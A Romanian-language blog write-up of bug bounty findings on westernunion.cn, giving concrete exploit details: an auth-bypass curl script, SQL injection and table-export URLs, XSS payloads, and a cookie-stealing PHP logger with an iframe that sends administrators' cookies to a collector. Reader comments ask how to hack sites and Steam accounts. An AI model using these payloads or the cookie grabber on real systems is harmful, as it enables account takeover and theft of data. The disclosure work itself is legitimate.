16.5.15

Auditing WesternUnion China | Bug Bounty Program



🔻INTRODUCTION🔻


Acum vreo 3 săptămâni am început serios să caut vulnerabilități în WesternUnion după ce am văzut că s-au înscris într-un program de bug bounty. Pentru necunoscători, semnificația unui program de bug bounty este aceea de: găsește o vulnerabilitate în sistemele noastre și noi te răsplătim cu o sumă de bani în funcție de impactul ei. Până acum sună frumos, dar există o mulțime de dezavantaje în comparație cu avantajele oferite.

Avantajul ar fi că în loc de o echipă de pentesteri limitată din punct de vedere numeric poți avea auditate serverele de sute de mii de oameni care lucrează în domeniu sau care sunt freelanceri. Unul din marele dezavantaje ar fi că dai acordul tuturor potențialilor atacatori rau intenționați să umble nestingheriți prin lucrurile tale, ei putând foarte ușor să vândă (neputând fi acuzați de acces neautorizat) ceea ce găsesc pe piața neagră. Dar să nu ne abatem prea mult de la subiect.

Din lista de domenii valide pentru acest program am ales să caut vulnerabilități în WesternUnion China (www.WesternUnion.cn). După o scurtă perioadă de timp am găsit câteva vulnerabilități ce s-au dovedit a fi duplicate (raportate de alții). Dar asta nu m-a descurajat să caut în continuare.

După câteva ore de auditare, am găsit următoarele:
  • Restricted files bypass
  • MySQL Injection
  • Arbitrary File Download
  • Cross-Site Scripting
  • Information Exposure
  • Multiple Session Vulnerabilities
Voi detalia în ordine cronologică vulnerabilitățiile identificate.

🔻VIDEO | Proof Of Concept🔻



🔻Information Exposure🔻


În urma unei scanări (bruteforce) de fișiere și directoare pe domeniul www.WesternUnion.cn am găsit un fișier interesant numit: awstats.pl. Pentru ce este folosit acest fișier mai exact? AWstats este un tool de analiză a log-urilor web (mai multe citiți aici). Cu ajutorul acestei "vulnerabilități" am obținut calea folder-ului wu_admin și fișierele:

http://westernunion.cn/wu_admin/login.php 
http://westernunion.cn/wu_admin/import.php
http://westernunion.cn/wu_admin/edit.php
http://westernunion.cn/wu_admin/view.php
http://westernunion.cn/wu_admin/export.php
http://westernunion.cn/wu_admin/search.php

🔻Restricted files bypass🔻


Până acum nu am obținut nimic critic, dar în urma analizării HTTP Response-ului (http://westernunion.cn/wu_admin/view.php) am observat ceva ce nu părea în regulă:

HTTP Request
GET /wu_admin/view.php HTTP/1.1
Host: westernunion.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fqgk2t3o85sumlu0vdlfdnr961
Connection: keep-alive

HTTP Response 
HTTP/1.1 302 Found
Date: Mon, 20 Apr 2015 00:01:32 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Location: login.php
Content-Length: 6148
Connection: close
Content-Type: text/html; charset=utf-8

Din acest HTTP Response putem afla că fișierul view.php există (HTTP/1.1 302 Found), după care suntem redirecționați către login.php (Location: login.php). Dar ceva lipsește din tag-ul Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 și anume max-age=^value^. Și dacă lipsește, ce se întâmplă? Păi opțiunea "max-age" indică cât de mult un response poate fi cached, deci din asta reiese că o sesiune validă nu va expira vreodată.  Pentru a evita această problemă trebuie setat max-age=0.

Știm că un browser modern (Chrome / Mozilla / Safari / chiar și IE, etc) tinde să nu bage în seamă header-ul "Expires", dar dacă folosim cURL pentru a împiedica redirect-ul?

WU-PoC.sh 
#!/bin/bash
#  Name: Bypass - Restricted files
#  URL : WesternUnion.cn - Proof of Concept
#
#  +-------------------------------------+
#  | root@PwN:~# nc westernunion.cn 80   |
#  | GET /wu_admin/FILE.EXT HTTP/1.1     |
#  | Host: westernunion.cn               |
#  | Accept-Encoding: gzip, deflate      |
#  +-------------------------------------+
#
#  Found by Razvan Cernaianu a.k.a TinKode @ www.CyberSmartDefence.com

curl "http://westernunion.cn/wu_admin/$1" 2>/dev/null > $2

It works! Acum putem accesa pagina view.php fără a fi autentificați.

🔻Arbitrary File Download🔻


Cu ajutorul vulnerabilității de mai sus am putut să obțin toți parametrii din filele aferente. Așadar am văzut că fila export.php are parametrul table ce ne permite să descărcăm anumite informații dintr-un tabel din baza de date principală (de exemplu: tabelul cn) în format xls. Lista era predefinită pentru fiecare agent WesternUnion, dar dacă se poate mai mult?

URL Request

http://www.westernunion.cn/wu_admin/export.php?table=information_schema.tables--+--  

HTTP Response
HTTP/1.1 302 Found
...
Expires: Thu, 19 Nov 1981 08:52:00 GMT
...
Content-Disposition: attachment;filename="20150420215741_information_schema.tables--+--.xls"
...
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet 

Cu această vulnerabilitate am putut să descarc tabelul admin_manager unde erau toți administratorii Western Union China.

🔻MySQL Injection🔻


Următoarea filă pe listă a fost edit.php cu parametrii id, page,table. Parametrul id & table erau vulnerabili la MySQL Injection. Exploatarea fiind realizată neautentificat.

URL
http://www.westernunion.cn/wu_admin/edit.php?id=1[SQLi]&page=0&table=cn[SQLi]

🔻Cross-Site Scripting🔻


Dacă nu găseam și niște XSS-uri ca să fur câteva cookie-uri, parcă nu mă simțeam complet :)).

URL
http://westernunion.cn/wu_admin/view.php?page=5&view=1&table=kr[XSS]  

http://westernunion.cn/wu_admin/search_show.php 

POST: selected_table=kr[XSS]&page=&agent_id=1&location_id=&phone_countrycode=
&phone_areacode=&phone=&phone2=&fax=&postal_code=&province_kr=&province_en=&city_kr=
&city_en=&address_kr=&address_en=&agent_kr=&agent_en=&location_kr=&location_en=


Mi-a fost cerut un Proof of Concept pentru a arăta cum pot fura cookie-urile administratorilor. Așa că am făcut un simplu cookie grabber.

grab.php
<?php
$cookie = $_GET['c'];
$fp = fopen('log.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br><br>');
fclose($fp);
?>

steal.html
<html>
<body>
<center>
<iframe width="100" height="0" src="http://westernunion.cn/wu_admin/view.php?page=5&view=1&table=<script>document.location='http://127.0.0.1/xss_poc/grab.php?c='%2bdocument.cookie;</script>" />
</center>
</body>
</html> 

🔻Multiple Session Vulnerabilities🔻


  • Session Fixation
  • Sesiunea nu este reînnoită automat
  • Sesiunea nu este distrusă atunci când un administrator se deconectează din contul său.

Session Fixation: Este un atac care permite unui atacator să seteze victimei sesiunea pe care acesta o dorește. Acest scenariu este realizabil doar cu ajutorul (altei vulnerabilități) unui XSS spre exemplu. Mai multe puteți citi aici.

Sesiunea nu este reînnoită automat: Asta înseamnă că un administrator va avea aceași sesiune înainte și după logare. Dacă un atacator obține orice tip de sesiune (validă/invalidă) prin orice mijloace, el ar putea să se autentifice. De ce am specificat și "o sesiune invalidă"? Deoarece acea sesiune invalidă va deveni la un moment dat validă (când administratorul se autentifică). Atacatorul poate crea un cronjob să dea refresh la pagină din oră în oră pentru a verifica dacă este logat.

Sesiunea nu este distrusă atunci când un administrator se deconectează din contul său permitând unui atacator să facă bruteforce după o sesiune validă (șansele fiind foarte mari deoarece  pot exista mii se sesiuni valide).

🔻Concluzia🔻


Este una simplă având în vedere că pentru toate acestea am primit doar $2,600.
  • MySQL Injection (Impact - Critic): $1.000
  • Arbitrary File Download (Impact - Critic): $1.000
  • Information Exposure (Impact - Mic-Mediu): $200
  • 2 XSS (Impact - Ridicat): $400
  • Multiple Session Vulnerabilities (Impact - Mediu): $0
  • Restricted Files Bypass (Impact - Critic): $0 deoarece este duplicată (răspunsul lor: intră laolaltă cu restul de vulnerabilități raportate) - SERIOS?

Am uitat să menționez că sumele plătite în programul lor pentru bug-urile valide sunt cuprinse între $100 - $5,000. Eu chiar am rămas stupefiat când am văzut asta. Curiozitatea mea cea mai mare rămâne: pentru ce tip de vulnerabilități și ce impact să aibe, plătesc $2,000, $3000, $4000, $5000.

Pe scurt puteți nota și acest dezavantaj în lista voastră dacă participați la un astfel de program. Acestea fiind spuse, ei au obținut un audit complet a domeniului www.WesternUnion.cn (13 vulnerabilități raportate) iar eu am obținut $2,600 și locul 1 în topul lor world wide (Hall of Fame). Foarte echitabil, nu!?


Share on:

22 comments:

  1. yeah its less for the number of critical bugs u have found
    MAybe u can Privilage to Rce via the SQLI u have found and report again
    they may give 5000$ for it

    ReplyDelete
  2. Salutare Razvan Cernaianu prefer numele tau adevarat :D.
    Imi puteti raspunde va rog frumos la o intrebare ce limbaje de programare cunoasteti dumneavoastra necesare in pentesting am cautat pe google dar nu am gasit ceva clar deci prefer sa intreb un om cu experienta care lucreaza in acest domeniu.
    Multumesc sper sa imi raspundeti la intrebare.

    ReplyDelete
    Replies
    1. Cu cât știi mai multe, cu atât ești mai pregătit să înțelegi acel cod pe care îl testezi și de ce nu, să găsești breșe de securitate.

      Delete
  3. Da inteleg dar ce limbaje de programare folositi,cunoasteti in pentesting dumneavoastra?

    ReplyDelete
  4. Salut Razvan!
    Imi poti spune si mie primii pasi spre 'spargerea' unui site?
    Sunt incepator si nu stiu de unde sa incep, informatii nu gasesc.. ador aceasta 'arta' dar... nu stiu de unde sa incep, cu ce sa incep..
    Multumesc!

    ReplyDelete
  5. Salut Razvan Cernaianu . Cum as putea trece de securitatea unui site localhost facut cu wampp /xampp (practic tot al meu) experimentand pe el si perfectionandu-ma acolo,aflandu-i parola,baza de date din mysql patrunzand in el prin anumite vulnerabilitati , brese lasate tot de mine .Pe internet nu este mare lucru...iar in liceu nu prea se invata asa ceva . Iar o ultima intrebare ce limbaje mi-ar trebui pentru o asemenea fapta stiu doar c++ pentru ca fac in liceu si putin html.
    Multumesc.

    ReplyDelete
  6. Locul 1 ( https://bugcrowd.com/westernunion/hall-of-fame ) , cat ti-a luat sa le afli toate vulnerabilitatile ?

    ReplyDelete
  7. Foarte tare felicitari ! Interesanta si partea cu bypass login , acest poc curl functioneaza doar in cazul in care lipseste max age-ul si nu expira sesiunea? am incercat pe unele panouri de admin chiar asemanator cu cel de aici la fel si fara functia max age , de fiecare data intampin acces denied , nu imi impiedica redirectul chiar daca pot vedea si pagina ca exista 302 found , care ar putea fi cauza ? Multumesc

    ReplyDelete
  8. Foarte tare,ce n-as da sa stiu atat de multe ca tine :) Felicitari pentru creierul tau,un link cu ceva tutoriale mi-ar prinde bine.stiu si eu cate ceva dar pistol cu apa pe langa ce stii tu.
    Ai cumva interzis sa faci tutoriale?daca nu ar fi bine sa faci bineinteles cu donatii si cred ca o sa castigi mai bine decat ti-au dat chinezii.Bafta in continuare.

    ReplyDelete
  9. Razvan zimi te rog ce versie linux folosesti in videurile de mai sus de pe link

    ReplyDelete
  10. Cat de sigur este magazinul de jocuri steam?

    ReplyDelete
  11. Salutare Razvan Cernaianu Imi puteti raspunde va rog frumos la o intrebare de unde pot sa învăța ceea ce voi știți?

    ReplyDelete
    Replies
    1. Poti incepe prin a invata cum sa creezi un site, implicit ce tehnologii poti folosi, cum functioneaza un LAMP/LEMP/XAMPP stack.

      Delete
  12. Salut raVan dami o idee te rog Cum pun boți on-line pe un website ..sa fie populat merci !!

    ReplyDelete
  13. Sal razvan mă poți ajuta cu un script gen scan de cod sa găsească un anumit cod prin kali linux merge dar zic precum o aplicație ? ... Ms ești cel mai tare respect.

    ReplyDelete
  14. salut TinKode de unde eai informati despre punctele salbe

    ReplyDelete
  15. Frate cum pot sa sparg o parola la un cont de steam?

    ReplyDelete
  16. Salut Tinkode care este skypeul tau?

    ReplyDelete